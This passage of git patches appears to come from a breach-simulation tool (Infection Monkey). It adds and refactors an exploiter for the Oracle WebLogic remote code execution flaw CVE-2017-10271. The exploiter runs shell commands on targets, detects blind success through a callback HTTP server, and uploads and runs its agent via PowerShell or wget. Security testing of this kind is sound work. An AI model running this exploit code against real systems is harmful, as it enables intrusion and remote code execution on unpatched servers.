'cmd' + cmd_opt = '/c' + command += ' 1> NUL 2> NUL' + + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + try: + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + except Exception as e: + print('[!] Connection Error') + print(e) + return True + + class HTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + threading.Thread.__init__(self) + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + LOCK.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def test_exploit(self, url): + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) + httpd.daemon = True + LOCK.acquire() + httpd.start() + LOCK.acquire() + generic_check_payload = ''' + + + + + http://{lhost}:{lport} + + + + + + + + + + ''' + payload = generic_check_payload.format(lhost=local_ip, lport=local_port) + try: + post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + except exceptions.ReadTimeout: + pass + except Exception as e: + LOG.error("Something went wrong: %s" % e) + + LOCK.release() + httpd.join(DOWNLOAD_TIMEOUT) + if httpd.get_requests > 0: + exploited = True + else: + exploited = False + return exploited diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8781f2b21..16c7502f1 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -86,6 +86,13 @@ SCHEMA = { "Struts2Exploiter" ], "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" } ] }, @@ -626,7 +633,8 @@ SCHEMA = { "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -761,7 +769,8 @@ SCHEMA = { 80, 8080, 443, - 8008 + 8008, + 7001 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -783,7 +792,8 @@ SCHEMA = { 443, 8008, 3306, - 9200 + 9200, + 7001 ], "description": "List of TCP ports the monkey will check whether they're open" }, diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f8647e81e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'WebLogicExploiter': 'Oracle WebLogic exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + WEBLOGIC = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,12 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_weblogic_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'weblogic' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +318,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'WebLogicExploiter': ReportService.process_weblogic_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +439,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'weblogic': + issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..ac796af61 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + WEBLOGIC: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Oracle WebLogic servers are vulnerable to remote code execution. ( + CVE-2017-10271)
  • : null }
    : @@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateWebLogicIssue(issue) { + return ( +
  • + Install Oracle + critical patch updates. Or change server version. Vulnerable versions are + 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware + (subcomponent: WLS Security). +
    +
  • + ); + } + generateIssue = (issue) => { @@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'weblogic': + data = this.generateWebLogicIssue(issue); + break; } return data; }; From 66bc852742fc1e9eb5e3cf1dfcdedf9240ffd4e4 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 7 Aug 2018 15:09:36 +0300 Subject: [PATCH 164/243] Bugfix: http servers thread is stopped if remote target is not vulnerable --- infection_monkey/exploit/weblogic.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index f4f034132..524d9a005 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -18,8 +18,8 @@ import copy __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -# How long server waits for response -DOWNLOAD_TIMEOUT = 4 +# How long server waits for get request +SERVER_TIMEOUT = 4 # How long to wait for a request to go to vuln machine and then to our server from there REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation @@ -162,6 +162,10 @@ class WebLogicExploiter(WebRCE): self._stopped = True return httpd + def stop(self): + self._stopped = True + return + def test_exploit(self, url): local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) @@ -195,7 +199,8 @@ class WebLogicExploiter(WebRCE): LOG.error("Something went wrong: %s" % e) LOCK.release() - httpd.join(DOWNLOAD_TIMEOUT) + httpd.join(SERVER_TIMEOUT) + httpd.stop() if httpd.get_requests > 0: exploited = True else: From 10528c313dfad0fa8fe26e17edff0ab663670da9 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 17 Aug 2018 13:46:14 +0300 Subject: [PATCH 165/243] Webblogic refactored to web RCE framework changes(from static methods into class methods) --- infection_monkey/exploit/weblogic.py | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 524d9a005..c2b6e81a9 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -10,7 +10,7 @@ from requests import post, exceptions from web_rce import WebRCE from exploit.tools import get_free_tcp_port, get_interface_to_target from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer -from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD +from model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD import threading import logging @@ -46,17 +46,17 @@ class WebLogicExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(WebLogicExploiter, self).__init__(host) + super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + 'win32': 'monkey-32.exe', + 'win64': 'monkey-64.exe'}) def exploit_host(self): # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports, URLS) - - exploiter = self.exploit + urls = self.build_potential_urls(ports, URLS) # Checking takes a lot of time, so we check until we get exploitable url and stop vulnerable_urls = [] @@ -69,24 +69,16 @@ class WebLogicExploiter(WebRCE): if not vulnerable_urls: return False - # Somehow we can't save files outside server's directory - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = 'monkey-32.exe' - config.dropper_target_path_win_64 = 'monkey-64.exe' - config.dropper_target_path_linux = './monkey.sh' - - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], - {'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, - 'linux': WGET_HTTP_UPLOAD}) + data = self.upload_monkey(vulnerable_urls[0], {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) # We can't use 'if not' because response may be '' - if not data or data['response'] == False: + if not data or data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: return False return True From 8fd42abd5d7e42a2553dcead47948211295a1651 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 19:00:14 +0300 Subject: [PATCH 166/243] Refactored according to final web_rce framework changes --- infection_monkey/exploit/weblogic.py | 40 +++++----------------------- 1 file changed, 7 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index c2b6e81a9..4ea80c1d4 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -50,38 +50,12 @@ class WebLogicExploiter(WebRCE): 'win32': 'monkey-32.exe', 'win64': 'monkey-64.exe'}) - def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports, URLS) - - # Checking takes a lot of time, so we check until we get exploitable url and stop - vulnerable_urls = [] - for url in urls: - # Get full URL - if self.test_exploit(url): - vulnerable_urls.append(url) - break - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False - - data = self.upload_monkey(vulnerable_urls[0], {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) - - # We can't use 'if not' because response may be '' - if not data or data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: - return False - - return True + def get_exploit_config(self): + exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config['blind_exploit'] = True + exploit_config['stop_checking_urls'] = True + exploit_config['url_extensions'] = URLS + return exploit_config def exploit(self, url, command): empty_payload = ''' @@ -158,7 +132,7 @@ class WebLogicExploiter(WebRCE): self._stopped = True return - def test_exploit(self, url): + def check_if_exploitable(self, url): local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) From 8e8422b3b7c4019f20b43e2f02a6b2a20d57dca3 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:58:11 +0300 Subject: [PATCH 167/243] Lock changed from singleton into local variable --- infection_monkey/exploit/weblogic.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 4ea80c1d4..f8db585a5 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -24,8 +24,6 @@ SERVER_TIMEOUT = 4 REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation EXECUTION_TIMEOUT = 15 -# Server might get response faster than it starts listening to it, we need a lock -LOCK = threading.Lock() URLS = ["/wls-wsat/CoordinatorPortType", "/wls-wsat/CoordinatorPortType11", "/wls-wsat/ParticipantPortType", @@ -133,13 +131,15 @@ class WebLogicExploiter(WebRCE): return def check_if_exploitable(self, url): + # Server might get response faster than it starts listening to it, we need a lock + lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) httpd.daemon = True - LOCK.acquire() + lock.acquire() httpd.start() - LOCK.acquire() + lock.acquire() generic_check_payload = ''' @@ -164,7 +164,7 @@ class WebLogicExploiter(WebRCE): except Exception as e: LOG.error("Something went wrong: %s" % e) - LOCK.release() + lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() if httpd.get_requests > 0: From f001403a9282bf6b3d36dedefaefeaaff3f33f77 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:35:45 +0300 Subject: [PATCH 168/243] Fixed lock bug and made uploaded monkey names standard --- infection_monkey/exploit/weblogic.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index f8db585a5..113a63046 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -45,8 +45,8 @@ class WebLogicExploiter(WebRCE): def __init__(self, host): super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', - 'win32': 'monkey-32.exe', - 'win64': 'monkey-64.exe'}) + 'win32': 'monkey32.exe', + 'win64': 'monkey64.exe'}) def get_exploit_config(self): exploit_config = super(WebLogicExploiter, self).get_exploit_config() @@ -102,12 +102,13 @@ class WebLogicExploiter(WebRCE): Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. """ - def __init__(self, local_ip, local_port, max_requests=1): + def __init__(self, local_ip, local_port, lock, max_requests=1): self._local_ip = local_ip self._local_port = local_port self.get_requests = 0 self.max_requests = max_requests self._stopped = False + self.lock = lock threading.Thread.__init__(self) def run(self): @@ -119,7 +120,7 @@ class WebLogicExploiter(WebRCE): LOG.info('Server waiting for exploited machine request...') httpd = HTTPServer((self._local_ip, self._local_port), S) httpd.daemon = True - LOCK.release() + self.lock.release() while not self._stopped and self.get_requests < self.max_requests: httpd.handle_request() @@ -135,7 +136,7 @@ class WebLogicExploiter(WebRCE): lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) - httpd = WebLogicExploiter.HTTPServer(local_ip, local_port) + httpd = WebLogicExploiter.HTTPServer(local_ip, local_port, lock) httpd.daemon = True lock.acquire() httpd.start() From 39bb41ed25a1ab950063b5520e9cda65e1c042bc Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 16:03:55 +0300 Subject: [PATCH 169/243] Removed unused imports and tested --- infection_monkey/exploit/weblogic.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 113a63046..bd6cbc777 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -10,11 +10,10 @@ from requests import post, exceptions from web_rce import WebRCE from exploit.tools import get_free_tcp_port, get_interface_to_target from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer -from model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD import threading import logging -import copy + __author__ = "VakarisZ" LOG = logging.getLogger(__name__) From 307a7c396c70f72cd2a35a2bdfdb8f2deaa8d11a Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 25 Aug 2018 17:56:43 +0300 Subject: [PATCH 170/243] Notes fixed and tested --- infection_monkey/config.py | 3 +- infection_monkey/exploit/weblogic.py | 141 ++++++++++++++------------- 2 files changed, 77 insertions(+), 67 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index b5df92f55..f8094817c 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -191,7 +191,8 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, 7001 # HTTP alternate + 8008, # HTTP alternate + 7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, 2222, diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index bd6cbc777..4169bb537 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -17,11 +17,11 @@ import logging __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -# How long server waits for get request +# How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long to wait for a request to go to vuln machine and then to our server from there +# How long to wait for a request to go to vuln machine and then to our server from there. In seconds REQUEST_TIMEOUT = 2 -# How long to wait for response in exploitation +# How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 URLS = ["/wls-wsat/CoordinatorPortType", "/wls-wsat/CoordinatorPortType11", @@ -55,40 +55,10 @@ class WebLogicExploiter(WebRCE): return exploit_config def exploit(self, url, command): - empty_payload = ''' - - - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - ''' if 'linux' in self.host.os['type']: - cmd_base = '/bin/sh' - cmd_opt = '-c' - command += ' 1> /dev/null 2> /dev/null' + payload = self.exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: - cmd_base = 'cmd' - cmd_opt = '/c' - command += ' 1> NUL 2> NUL' - - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + payload = self.exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: @@ -96,7 +66,7 @@ class WebLogicExploiter(WebRCE): print(e) return True - class HTTPServer(threading.Thread): + class IndicationHTTPServer(threading.Thread): """ Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. @@ -109,6 +79,7 @@ class WebLogicExploiter(WebRCE): self._stopped = False self.lock = lock threading.Thread.__init__(self) + self.daemon = True def run(self): class S(BaseHTTPRequestHandler): @@ -132,43 +103,81 @@ class WebLogicExploiter(WebRCE): def check_if_exploitable(self, url): # Server might get response faster than it starts listening to it, we need a lock - lock = threading.Lock() - local_port = get_free_tcp_port() - local_ip = get_interface_to_target(self.host.ip_addr) - httpd = WebLogicExploiter.HTTPServer(local_ip, local_port, lock) - httpd.daemon = True - lock.acquire() - httpd.start() - lock.acquire() - generic_check_payload = ''' - - - - - http://{lhost}:{lport} - - - - - - - - - - ''' - payload = generic_check_payload.format(lhost=local_ip, lport=local_port) + httpd, lock = self._start_http_server() + payload = self.test_payload(ip=httpd._local_ip, port=httpd._local_port) try: post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) except exceptions.ReadTimeout: + # Our request does not get response thus we get ReadTimeout error pass except Exception as e: LOG.error("Something went wrong: %s" % e) + self._stop_http_server(httpd, lock) + return httpd.get_requests > 0 + def _start_http_server(self): + lock = threading.Lock() + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = self.IndicationHTTPServer(local_ip, local_port, lock) + lock.acquire() + httpd.start() + lock.acquire() + return httpd, lock + + def _stop_http_server(self, httpd, lock): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() - if httpd.get_requests > 0: - exploited = True - else: - exploited = False - return exploited + return True + + + @staticmethod + def exploit_payload(cmd_base, cmd_opt, command): + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload + + @staticmethod + def test_payload(ip, port): + generic_check_payload = ''' + + + + + http://{host}:{port} + + + + + + + + + + ''' + payload = generic_check_payload.format(host=ip, port=port) + return payload From 57e795573e1e5bbdd4524b02f705931d29d86296 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 22:37:07 +0300 Subject: [PATCH 171/243] Documented what's required and other minor changes --- infection_monkey/exploit/weblogic.py | 30 ++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 4169bb537..68ea9f5f2 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -56,9 +56,9 @@ class WebLogicExploiter(WebRCE): def exploit(self, url, command): if 'linux' in self.host.os['type']: - payload = self.exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') + payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: - payload = self.exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') + payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: @@ -99,12 +99,11 @@ class WebLogicExploiter(WebRCE): def stop(self): self._stopped = True - return def check_if_exploitable(self, url): # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() - payload = self.test_payload(ip=httpd._local_ip, port=httpd._local_port) + payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) try: post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) except exceptions.ReadTimeout: @@ -116,6 +115,10 @@ class WebLogicExploiter(WebRCE): return httpd.get_requests > 0 def _start_http_server(self): + """ + Starts custom http server that waits for GET requests + :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) + """ lock = threading.Lock() local_port = get_free_tcp_port() local_ip = get_interface_to_target(self.host.ip_addr) @@ -129,11 +132,16 @@ class WebLogicExploiter(WebRCE): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() - return True - @staticmethod - def exploit_payload(cmd_base, cmd_opt, command): + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used in exploiting weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ empty_payload = ''' @@ -162,7 +170,13 @@ class WebLogicExploiter(WebRCE): return payload @staticmethod - def test_payload(ip, port): + def get_test_payload(ip, port): + """ + Gets payload used for testing whether weblogic server is vulnerable + :param ip: Server's IP + :param port: Server's port + :return: Formatted payload + """ generic_check_payload = ''' From 3f809403d1754b1144ab745405b54bb896d45b34 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 16:55:03 +0300 Subject: [PATCH 172/243] Custom http server class moved to the end of file --- infection_monkey/exploit/weblogic.py | 68 ++++++++++++++-------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py index 68ea9f5f2..24e99424c 100644 --- a/infection_monkey/exploit/weblogic.py +++ b/infection_monkey/exploit/weblogic.py @@ -66,40 +66,6 @@ class WebLogicExploiter(WebRCE): print(e) return True - class IndicationHTTPServer(threading.Thread): - """ - Http server built to wait for GET requests. Because oracle web logic vuln is blind, - we determine if we can exploit by either getting a GET request from host or not. - """ - def __init__(self, local_ip, local_port, lock, max_requests=1): - self._local_ip = local_ip - self._local_port = local_port - self.get_requests = 0 - self.max_requests = max_requests - self._stopped = False - self.lock = lock - threading.Thread.__init__(self) - self.daemon = True - - def run(self): - class S(BaseHTTPRequestHandler): - @staticmethod - def do_GET(): - LOG.info('Server received a request from vulnerable machine') - self.get_requests += 1 - LOG.info('Server waiting for exploited machine request...') - httpd = HTTPServer((self._local_ip, self._local_port), S) - httpd.daemon = True - self.lock.release() - while not self._stopped and self.get_requests < self.max_requests: - httpd.handle_request() - - self._stopped = True - return httpd - - def stop(self): - self._stopped = True - def check_if_exploitable(self, url): # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() @@ -195,3 +161,37 @@ class WebLogicExploiter(WebRCE): ''' payload = generic_check_payload.format(host=ip, port=port) return payload + + class IndicationHTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, lock, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + self.daemon = True + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + self.lock.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def stop(self): + self._stopped = True From 8ddfb03f270884f6015ba1a2492065f625c20b73 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 20 Jul 2018 18:15:15 +0300 Subject: [PATCH 173/243] Uploaded and modified standard web_rce code usage.Not working, not tested --- infection_monkey/exploit/elasticgroovy.py | 72 +++++++++++-------- infection_monkey/network/mssql_fingerprint.py | 3 +- 2 files changed, 44 insertions(+), 31 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 989ae5cdf..d056afb05 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -9,17 +9,17 @@ import logging import requests -from exploit import HostExploiter from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +from exploit.web_rce import WebRCE __author__ = 'danielg' LOG = logging.getLogger(__name__) -class ElasticGroovyExploiter(HostExploiter): +class ElasticGroovyExploiter(WebRCE): # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" @@ -38,40 +38,52 @@ class ElasticGroovyExploiter(HostExploiter): def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - - def is_os_supported(self): - """ - Checks if the host is vulnerable. - Either using version string or by trying to attack - :return: - """ - if not super(ElasticGroovyExploiter, self).is_os_supported(): - return False + def exploit_host(self): + # self.exploit_host_linux() if ES_SERVICE not in self.host.services: LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False - major, minor, build = self.host.services[ES_SERVICE]['version'].split('.') - major = int(major) - minor = int(minor) - build = int(build) - if major > 1: + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Build url from host and elastic port(not https) + urls = WebRCE.build_potential_urls(self.host, [[ES_PORT, False]], ['_search?pretty']) + vulnerable_urls = [] + for url in urls: + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - if major == 1 and minor > 4: - return False - if major == 1 and minor == 4 and build > 2: - return False - return self.is_vulnerable() - def exploit_host(self): - real_host_os = self.get_host_os() - self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters - if 'linux' in self.host.os['type']: - return self.exploit_host_linux() - else: - return self.exploit_host_windows() + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], self._config): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + return False + + data = WebRCE.upload_monkey(self.host, self._config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: + return False + + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + + def exploit(self, url, command): + payload = self.JAVA_CMD % command + response = requests.get(url, data=payload) + result = self.get_results(response) + if not result: # not vulnerable + return False + return result[0] def exploit_host_windows(self): """ diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..ea4370d24 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + # TODO remove auto-return + return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 7e2cc86ab95c2d22440822ff85321dad1973c7fa Mon Sep 17 00:00:00 2001 From: Vakaris Date: 